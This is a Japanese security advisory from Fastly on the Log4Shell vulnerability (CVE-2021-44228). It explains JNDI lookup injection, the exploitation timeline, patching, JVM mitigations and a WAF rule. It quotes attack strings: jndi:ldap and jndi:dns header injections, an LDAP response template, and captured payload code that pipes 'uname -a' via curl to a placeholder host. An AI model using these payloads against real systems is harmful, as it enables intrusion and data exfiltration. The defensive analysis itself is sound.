Log4Shell に関する詳細 - Log4j にリモートコード実行 (RCE) のゼロデイ脆弱性が見つかる
要旨
この脆弱性はリモートコードの実行を可能にして悪用を容易にするものであり、これを利用した悪用が拡大してします。
入手可能なパッチがありますので、すぐにパッチを適用してください。
Fastly の次世代 WAF をご利用のお客様はテンプレートルールを有効にすることで、この脆弱性から保護することが可能です。
CVE-2021-44228 は、世界中のアプリケーションで広く使用されている Java ベースのロギングツールである Apache Log4j ライブラリに存在する、リモートコード実行 (RCE) の脆弱性です。この脆弱性を利用することで、ログメッセージをコントロールできる攻撃者は、攻撃者自身が管理しているサーバーから任意のコードをロードして実行できるようになります。Log4j ライブラリを使用しているほとんどのアプリケーションがこの条件に合致することが予想されます。
影響範囲 :
Log4j は、業務システムを含め、ログ情報を記録するためにほとんどの Java アプリケーションで使用されている非常に一般的なロギングライブラリであるため、その影響は広範囲に及びます。
また、この悪用を拡大させる要因もいくつか存在します。この脆弱性は従来からある RCE の脆弱性であること、ライブラリが広くデプロイされていること、スキルの低い攻撃者でも実行できることなどです。つまり、ホリデーシーズンで油断している企業の不意をつきたいと考えていたランサムウェア運用者にとっては、サンタから最高のプレゼントを受け取る結果となったと言えます。POC が公開されてから24時間も経たないうちに、この脆弱性を利用したCryptominer がすでにデプロイされていたという報告もあります。
詳細 :
開発者の一般的な想定では、ロギングフレームワークはメッセージをデータとしてのみ取り扱い、基本的な形式を処理するということになっているのではないでしょうか。しかし、Log4j 2.0 では、JNDI Lookup を含む Lookup 機能が追加されました。この JNDI Lookup は制限がかかっていないため、脆弱性の原因につながったのです。
Java Naming and Directory Interface (JNDI) は、LDAP や DNS とインターフェイスを取り、データやリソースを検索できるディレクトリサービス用の Java API です。残念ながら、返されるデータ型の1つが Java クラスを指す URI であり、信頼できない Java クラスを読み込むと、知らないうちに他人のコードを実行してしまうことになります。
たとえば、以下のようなメッセージをログに記録したとします。
log.info("this is a security nightmare! {}", userInput)
これだけでも、リモート LDAP コールのトリガーとなり、悪意のある Java クラスがインスタンス化される可能性があるのです。
本番環境では、HTTP の情報をログに記録することが一般的です。これと同じ問題がある実際の例を次に示します。
log.info("Request User-Agent: {}", userAgent);
攻撃の仕組み :
まず始めに jndi
: 文字列を挿入した後に、URIをたどって、コマンド実行の原因となる二次ペイロードにアクセスします。
攻撃者は、最初に挿入した jndi: 文字列を作成し、User-Agent HTTP ヘッダーに記載します。
User-Agent: ${jndi:ldap://<host>:<port>/<path>}
これで、脆弱性のある Log4j インスタンスが、この後に続く URI に LDAP クエリーを実行するようになりました。その後、LDAP サーバーが二次的なペイロードのリンクを含むディレクトリ情報をレスポンスで返します。
dn:
javaClassName: <class name>
javaCodeBase: <base URL>
objectClass: javaNamingReference
javaFactory: <file base>
次に、javaFactory
と javaCodeBase
の値を使用して、最終的なペイロードを表す Java クラスを含むオブジェクトのロケーションを構築します。最後に、この Java クラスがメモリにロードされ、脆弱性のある Log4j インスタンスによって実行されます。これで、コードの実行パスの完成です。
また、Fastly のセキュリティ調査チームは、以下の文字列を使用して、脆弱性のある Log4j インスタンスで DNS クエリを強制的に実行する任意の機能の再現に成功しました。
${jndi:dns://<dns server>/<TXT record query string>}
現時点では、DNS が任意のコードを実行するパスを返すかどうか明確にはわかりませんが、脆弱性のスキャンに利用したり、他のセキュリティコントロールによって (外向きの通信を制御するファイアウォールルールなど) 通信がブロックされている場合に DNS を介してデータをトンネリングしたりすることも可能です。
影響
この攻撃を実行するには、一部の攻撃者にとって馴染みのないツールが必要になりますが、LDAP を介した最終的かつ完全なコードの実行パス自体は難しいものではありません。攻撃者が一日で知識やスキルを向上させているケースも確認されており、この影響は今後も続くことが予想されます。
この脆弱性を悪用する攻撃者を探すために有効だったことは、ldapsearch
ツールを使用して最終的なペイロードの位置を列挙し、潜在的な悪意のあるポイントを探すことです。これにより、LDAP レスポンスによって参照される最終的なペイロードを複数取得しました。これらのペイロードはテスト用と考えられ、以下のようなコードを含んでいます。
String payload = "uname -a | curl -d @- http://<host>";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {}
}
}
しかし、前述したように、これは明らかに、より悪質なコードを実行する能力があることを示しています。
確認されたこと
このバグを悪用するには、Log4j によってトリガーとなる jndi
: URI がログに記録される必要があります。Fastly では攻撃者がさまざまな HTTP ヘッダーにこの文字列を挿入していることを確認していますが、中でも User-Agent
が最も一般的なロケーションです。一方で、この脆弱性の公開後24時間以内のうちに、任意の文字列を含めることができるすべてのヘッダー、さらには URI パス自体にさえも、問題のある挿入を試みる攻撃者の存在が確認されました。ログに記録される可能性が低い POST ボディでも jndi
: 文字列が確認されています。
つまり、攻撃者は明らかにコールバックを探すために (つまり、攻撃者が提供する引数を通じてコントロールを成功させるために)、可能な限りの出口を試しているということです。攻撃者が積極的かつ迅速に研究開発を行い、脆弱性を悪用しようとする場合 (これは、公開されるすべてのゼロデイに当てはまるわけではありません)、拡張可能な、または自動化された方法で脆弱性を悪用できる攻撃キャンペーンが即座に出現すると考えるのが妥当でしょう。
タイムライン
2021年11月24日、Apache は Alibaba Cloud のセキュリティチームから Log4j のリモートコード実行の脆弱性について通知を受けました。その後、この悪用の概念実証が2021年12月9日15時32分に Github に投稿され、その82分後にコールバックをトリガーする最初の試みが確認されました。
当初、攻撃者は明らかにこの悪用を理解しようと試みており、初期の攻撃はうまく構築できていませんでした。一部の LDAP URL には、HTTP サーバーによって正しく配信されないものさえありました。たとえば、{jndi:ldap://example.com:1234/callback}
を使用して試行した場合は、http://example.com:1234/callback
がデータを返します。
他の広範なバグの場合と同様に、スキャンが初日から大幅に増加し、攻撃者はコールバックをログに記録することで、脆弱性を含む大量のアプリケーションを渡り歩いて特定する方法を明らかに学習したようでした。
このグラフは、このインシデントの最初の24時間における、Fastly によって確認された jndi
: コールバック挿入のトレンドラインを示しています。ご覧のように、著しく増加しています。もう一つの注目すべきトレンドは、18時間以内に攻撃者の手法が改善され、適切に設定された LDAP サーバーの数が増加し始めたことです。これにより、攻撃者は、コールバックを HTTP リスナーに格納された二次的なペイロードにリダイレクトすることができるようになりました。
初日の悪用はスキャンと列挙に重点が置かれていましたが、その後、より被害の大きな悪用が実行されることは間違いありません。
解決策 :
理想的には、脆弱性とそれが環境にもたらすリスクについて理解し、対策の準備をする必要があります。しかし、この脆弱性がどこに存在するのかを把握することは、大きな未解決の課題です。この問題は利用しているアプリケーションに存在すると仮定した方が安全かもしれません。したがって、パッチを適用することが最も強力なアクションであり、コード実行のリスクを取り除くことになります。
もう一つのオプションは、Log4j のバージョンが JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
を使用した JVM の実行をサポートしているか確認して、リモートサーバーへの Lookup 機能を無効にすることです。これが適用できるのは、バージョン 2.10.0 から 2.15.0 です。2.0-beta9 から 2.10.0 までのリリースでは、クラスパス zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
から JndiLookup クラスを削除することで対策することができます。
Fastly の次世代型 WAF (Signal Sciences WAF) では、この脆弱性を検出可能です。この製品をご利用のお客様は、以下の手順で CVE-2021-44228 の悪用から保護するテンプレートルールを有効にできます。
Templated Rules にアクセスして、CVE-2021-44228 を見つけます。
CVE-2021-44228 シグナルが検出された場合は、configure をクリックし、Block requests from an IP immediately を有効にします。
従来型の WAF をご利用のお客様は、この脅威に対する VCL ベースの対策をデプロイすることができます。この設定の適用についてサポートをご希望の場合は、CSOC (securitysupport@fastly.com) までお問い合わせください。